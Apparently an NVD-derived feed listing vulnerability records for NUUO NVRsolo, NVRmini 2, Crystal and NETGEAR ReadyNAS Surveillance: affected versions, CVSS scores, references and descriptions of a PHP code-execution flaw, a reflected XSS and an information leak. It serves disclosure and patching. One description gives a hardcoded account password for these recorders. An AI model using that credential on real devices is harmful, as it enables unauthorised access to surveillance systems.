Vulnerabilites related to nuuo - nvrsolo
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cret@cert.org | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| cret@cert.org | http://www.securityfocus.com/bid/92318 | ||
| cret@cert.org | https://www.exploit-db.com/exploits/40200/ | ||
| af854a3a-2127-422b-91ae-364da2661108 | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/92318 | ||
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/40200/ |
| Vendor | Product | Version | |
|---|---|---|---|
| netgear | readynas_surveillance | 1.1.1 | |
| netgear | readynas_surveillance | 1.1.2 | |
| netgear | readynas_surveillance | 1.2.0.4 | |
| netgear | readynas_surveillance | 1.3.2.4 | |
| netgear | readynas_surveillance | 1.3.2.14 | |
| netgear | readynas_surveillance | 1.4.0 | |
| netgear | readynas_surveillance | 1.4.1 | |
| netgear | readynas_surveillance | 1.4.2 | |
| nuuo | crystal | 2.2.1 | |
| nuuo | crystal | 3.0.0 | |
| nuuo | crystal | 3.1.0 | |
| nuuo | crystal | 3.2.0 | |
| nuuo | nvrsolo | 1.0.0 | |
| nuuo | nvrsolo | 1.0.1 | |
| nuuo | nvrsolo | 1.1.0 | |
| nuuo | nvrsolo | 1.1.0.117 | |
| nuuo | nvrsolo | 1.1.1 | |
| nuuo | nvrsolo | 1.1.2 | |
| nuuo | nvrsolo | 1.2.0 | |
| nuuo | nvrsolo | 1.3.0 | |
| nuuo | nvrsolo | 1.75 | |
| nuuo | nvrsolo | 2.0.0 | |
| nuuo | nvrsolo | 2.0.1 | |
| nuuo | nvrsolo | 2.1.5 | |
| nuuo | nvrsolo | 2.2.2 | |
| nuuo | nvrsolo | 2.3 | |
| nuuo | nvrsolo | 2.3.1.20 | |
| nuuo | nvrsolo | 2.3.7.9 | |
| nuuo | nvrsolo | 2.3.7.10 | |
| nuuo | nvrsolo | 2.3.9.6 | |
| nuuo | nvrsolo | 3.0.0 | |
| nuuo | nvrmini_2 | 1.7.5 | |
| nuuo | nvrmini_2 | 1.7.6 | |
| nuuo | nvrmini_2 | 2.0.0 | |
| nuuo | nvrmini_2 | 2.2.1 | |
| nuuo | nvrmini_2 | 3.0.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E9350713-FE2D-4E0B-9F8C-DC75D39DBE94",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "EA1225D7-C268-4343-9988-7A75416B9860",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.2.0.4:*:*:*:*:*:*:*",
"matchCriteriaId": "B4596B86-FE04-4EF0-B2B0-DEA2F435FF19",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.4:*:*:*:*:*:*:*",
"matchCriteriaId": "000CBDBE-2C3C-4502-86A7-C3D098DE3C5B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.14:*:*:*:*:*:*:*",
"matchCriteriaId": "2FA3A6C7-3EB1-466F-A2A4-C221821D1811",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B7D6B8FE-33D3-4080-BFF4-7EE8E2554CFC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.1:*:*:*:*:*:*:*",
"matchCriteriaId": "44FC066D-B18D-4BC3-B43B-AA83EB186C7D",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "D335E352-75D8-4A05-A040-2543B2B016DF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:nuuo:crystal:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "BBF2E8FD-DD09-41C6-82C8-3B1AD60042A3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:nuuo:crystal:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "559B9A7D-34FA-4EF3-B7B2-B2115E2D732F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:nuuo:crystal:3.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C7336B11-E0A6-4F82-97B6-0765F9016C7C",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:nuuo:crystal:3.2.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B387A683-6B92-4EE8-AB11-C6A8F6D1340C",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "825FB36D-A956-4C1A-8347-54847D2A165E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "786F893A-E3F2-4FC5-A43D-4812CCEF4C9F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FD3CF36E-67F3-40B9-A5F2-64B0165CA6C8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0.117:*:*:*:*:*:*:*",
"matchCriteriaId": "0796B887-E3B9-4A15-99E5-B1853E02D6EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "4BBFC870-408C-447D-B36F-0720074BAEF4",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "67ADE7D2-BEB9-4333-8211-CF8C84E85B25",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.2.0:*:*:*:*:*:*:*",
"matchCriteriaId": "24440F32-559E-407F-BC83-A272DEA20002",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "6486CDA6-FEDD-4A3D-8123-0A1C71699FB3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.75:*:*:*:*:*:*:*",
"matchCriteriaId": "E652B5F9-1A30-4830-A6C3-666998D29225",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C09EB9FB-26CB-4A2D-9113-882D80BC9BBD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "1D76A17A-872C-4281-8525-BA9388F181F8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.1.5:*:*:*:*:*:*:*",
"matchCriteriaId": "DDEC215A-2E41-4CF6-BB86-BC472CDDC9AD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0EF7E86B-2D6D-41B2-B676-D963FAF622A8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3:*:*:*:*:*:*:*",
"matchCriteriaId": "C23EF235-9834-48E7-8B92-AE0EE0F461B5",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.1.20:*:*:*:*:*:*:*",
"matchCriteriaId": "CE643FA9-EF8E-43A3-8E0C-819EC434040F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.9:*:*:*:*:*:*:*",
"matchCriteriaId": "4347D1E4-E162-462E-9A30-2DF79A0010EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.10:*:*:*:*:*:*:*",
"matchCriteriaId": "20B9E362-D36F-49BC-B695-46796662A3F0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.9.6:*:*:*:*:*:*:*",
"matchCriteriaId": "51998757-3AAB-40E4-BDAB-B027843F1DBE",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EBCF388E-9FBD-4A85-9BA6-0DF7C85632EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.5:*:*:*:*:*:*:*",
"matchCriteriaId": "7F373AAC-B792-45AB-B4FE-37FC6A91DE7B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.6:*:*:*:*:*:*:*",
"matchCriteriaId": "9BD02ABB-65FF-4F08-9C99-69BB03A2AE07",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "949274A8-E85A-4344-A4F2-2E038B877874",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "AD3D600A-4E84-416C-BAAE-70684DCFD15E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1EA286A6-CCCD-419A-B9DC-10F4B59FF2FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter."
},
{
"lang": "es",
"value": "handle_daylightsaving.php en NUUO NVRmini 2 1.7.5 hasta la versi\u00f3n 3.0.0, NUUO NVRsolo 1.0.0 hasta la versi\u00f3n 3.0.0, NUUO Crystal 2.2.1 hasta la versi\u00f3n 3.2.0 y NETGEAR ReadyNAS Surveillance 1.1.1 hasta la versi\u00f3n 1.4.1 permite a atacantes remotos ejecutar c\u00f3digo PHP arbitrario a trav\u00e9s del par\u00e1metro NTPServer."
}
],
"id": "CVE-2016-5675",
"lastModified": "2024-11-21T02:54:48.187",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": true,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2016-08-31T15:59:01.653",
"references": [
{
"source": "cret@cert.org",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "cret@cert.org",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "cret@cert.org",
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"sourceIdentifier": "cret@cert.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-20"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | https://github.com/badboycxcc/nuuo-xss/blob/main/README.md | Exploit, Issue Tracking, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/badboycxcc/nuuo-xss/blob/main/README.md | Exploit, Issue Tracking, Third Party Advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| nuuo | nvrsolo_firmware | 03.06.02 | |
| nuuo | nvrsolo | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo_firmware:03.06.02:*:*:*:*:*:*:*",
"matchCriteriaId": "AF4F8B71-A176-4D75-8F85-2F8D6EF31FD9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:nuuo:nvrsolo:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4E65B459-F53C-4687-9C6A-8D10399F4FC5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php."
},
{
"lang": "es",
"value": "Se ha detectado que NUUO Network Video Recorder NVRsolo versi\u00f3n v03.06.02, conten\u00eda una vulnerabilidad de tipo cross-site scripting (XSS) reflejada por medio del archivo login.php"
}
],
"id": "CVE-2022-33119",
"lastModified": "2024-11-21T07:07:34.017",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2022-06-21T13:15:08.487",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/badboycxcc/nuuo-xss/blob/main/README.md"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cret@cert.org | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| cret@cert.org | http://www.securityfocus.com/bid/92318 | ||
| cret@cert.org | https://www.exploit-db.com/exploits/40200/ | ||
| af854a3a-2127-422b-91ae-364da2661108 | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/92318 | ||
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/40200/ |
| Vendor | Product | Version | |
|---|---|---|---|
| netgear | readynas_surveillance | 1.1.1 | |
| netgear | readynas_surveillance | 1.1.2 | |
| netgear | readynas_surveillance | 1.2.0.4 | |
| netgear | readynas_surveillance | 1.3.2.4 | |
| netgear | readynas_surveillance | 1.3.2.14 | |
| netgear | readynas_surveillance | 1.4.0 | |
| netgear | readynas_surveillance | 1.4.1 | |
| netgear | readynas_surveillance | 1.4.2 | |
| nuuo | nvrmini_2 | 1.7.5 | |
| nuuo | nvrmini_2 | 1.7.6 | |
| nuuo | nvrmini_2 | 2.0.0 | |
| nuuo | nvrmini_2 | 2.2.1 | |
| nuuo | nvrmini_2 | 3.0.0 | |
| nuuo | nvrsolo | 1.0.0 | |
| nuuo | nvrsolo | 1.0.1 | |
| nuuo | nvrsolo | 1.1.0 | |
| nuuo | nvrsolo | 1.1.0.117 | |
| nuuo | nvrsolo | 1.1.1 | |
| nuuo | nvrsolo | 1.1.2 | |
| nuuo | nvrsolo | 1.2.0 | |
| nuuo | nvrsolo | 1.3.0 | |
| nuuo | nvrsolo | 1.75 | |
| nuuo | nvrsolo | 2.0.0 | |
| nuuo | nvrsolo | 2.0.1 | |
| nuuo | nvrsolo | 2.1.5 | |
| nuuo | nvrsolo | 2.2.2 | |
| nuuo | nvrsolo | 2.3 | |
| nuuo | nvrsolo | 2.3.1.20 | |
| nuuo | nvrsolo | 2.3.7.9 | |
| nuuo | nvrsolo | 2.3.7.10 | |
| nuuo | nvrsolo | 2.3.9.6 | |
| nuuo | nvrsolo | 3.0.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E9350713-FE2D-4E0B-9F8C-DC75D39DBE94",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "EA1225D7-C268-4343-9988-7A75416B9860",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.2.0.4:*:*:*:*:*:*:*",
"matchCriteriaId": "B4596B86-FE04-4EF0-B2B0-DEA2F435FF19",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.4:*:*:*:*:*:*:*",
"matchCriteriaId": "000CBDBE-2C3C-4502-86A7-C3D098DE3C5B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.14:*:*:*:*:*:*:*",
"matchCriteriaId": "2FA3A6C7-3EB1-466F-A2A4-C221821D1811",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B7D6B8FE-33D3-4080-BFF4-7EE8E2554CFC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.1:*:*:*:*:*:*:*",
"matchCriteriaId": "44FC066D-B18D-4BC3-B43B-AA83EB186C7D",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "D335E352-75D8-4A05-A040-2543B2B016DF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.5:*:*:*:*:*:*:*",
"matchCriteriaId": "7F373AAC-B792-45AB-B4FE-37FC6A91DE7B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.6:*:*:*:*:*:*:*",
"matchCriteriaId": "9BD02ABB-65FF-4F08-9C99-69BB03A2AE07",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "949274A8-E85A-4344-A4F2-2E038B877874",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "AD3D600A-4E84-416C-BAAE-70684DCFD15E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1EA286A6-CCCD-419A-B9DC-10F4B59FF2FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "825FB36D-A956-4C1A-8347-54847D2A165E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "786F893A-E3F2-4FC5-A43D-4812CCEF4C9F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FD3CF36E-67F3-40B9-A5F2-64B0165CA6C8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0.117:*:*:*:*:*:*:*",
"matchCriteriaId": "0796B887-E3B9-4A15-99E5-B1853E02D6EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "4BBFC870-408C-447D-B36F-0720074BAEF4",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "67ADE7D2-BEB9-4333-8211-CF8C84E85B25",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.2.0:*:*:*:*:*:*:*",
"matchCriteriaId": "24440F32-559E-407F-BC83-A272DEA20002",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "6486CDA6-FEDD-4A3D-8123-0A1C71699FB3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.75:*:*:*:*:*:*:*",
"matchCriteriaId": "E652B5F9-1A30-4830-A6C3-666998D29225",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C09EB9FB-26CB-4A2D-9113-882D80BC9BBD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "1D76A17A-872C-4281-8525-BA9388F181F8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.1.5:*:*:*:*:*:*:*",
"matchCriteriaId": "DDEC215A-2E41-4CF6-BB86-BC472CDDC9AD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0EF7E86B-2D6D-41B2-B676-D963FAF622A8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3:*:*:*:*:*:*:*",
"matchCriteriaId": "C23EF235-9834-48E7-8B92-AE0EE0F461B5",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.1.20:*:*:*:*:*:*:*",
"matchCriteriaId": "CE643FA9-EF8E-43A3-8E0C-819EC434040F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.9:*:*:*:*:*:*:*",
"matchCriteriaId": "4347D1E4-E162-462E-9A30-2DF79A0010EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.10:*:*:*:*:*:*:*",
"matchCriteriaId": "20B9E362-D36F-49BC-B695-46796662A3F0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.9.6:*:*:*:*:*:*:*",
"matchCriteriaId": "51998757-3AAB-40E4-BDAB-B027843F1DBE",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EBCF388E-9FBD-4A85-9BA6-0DF7C85632EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 have a hardcoded qwe23622260 password for the nuuoeng account, which allows remote attackers to obtain sensitive information via an __nvr_status___.php request."
},
{
"lang": "es",
"value": "NUUO NVRmini 2 1.7.5 hasta la versi\u00f3n 3.0.0, NUUO NVRsolo 1.0.0 hasta la versi\u00f3n 3.0.0 y NETGEAR ReadyNAS Surveillance 1.1.1 hasta la versi\u00f3n 1.4.1 tienen una contrase\u00f1a codificada qwe23622260 para la cuenta nuuoeng, lo que permite a atacantes remotos obtener informaci\u00f3n sensible a trav\u00e9s de una petici\u00f3n __nvr_status___.php."
}
],
"id": "CVE-2016-5677",
"lastModified": "2024-11-21T02:54:48.430",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2016-08-31T15:59:03.640",
"references": [
{
"source": "cret@cert.org",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "cret@cert.org",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "cret@cert.org",
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"sourceIdentifier": "cret@cert.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-200"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cret@cert.org | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| cret@cert.org | http://www.securityfocus.com/bid/92318 | ||
| cret@cert.org | https://www.exploit-db.com/exploits/40200/ | ||
| af854a3a-2127-422b-91ae-364da2661108 | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/92318 | ||
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/40200/ |
| Vendor | Product | Version | |
|---|---|---|---|
| netgear | readynas_surveillance | 1.1.1 | |
| netgear | readynas_surveillance | 1.1.2 | |
| netgear | readynas_surveillance | 1.2.0.4 | |
| netgear | readynas_surveillance | 1.3.2.4 | |
| netgear | readynas_surveillance | 1.3.2.14 | |
| netgear | readynas_surveillance | 1.4.0 | |
| netgear | readynas_surveillance | 1.4.1 | |
| netgear | readynas_surveillance | 1.4.2 | |
| nuuo | nvrsolo | 1.75 | |
| nuuo | nvrsolo | 2.0.0 | |
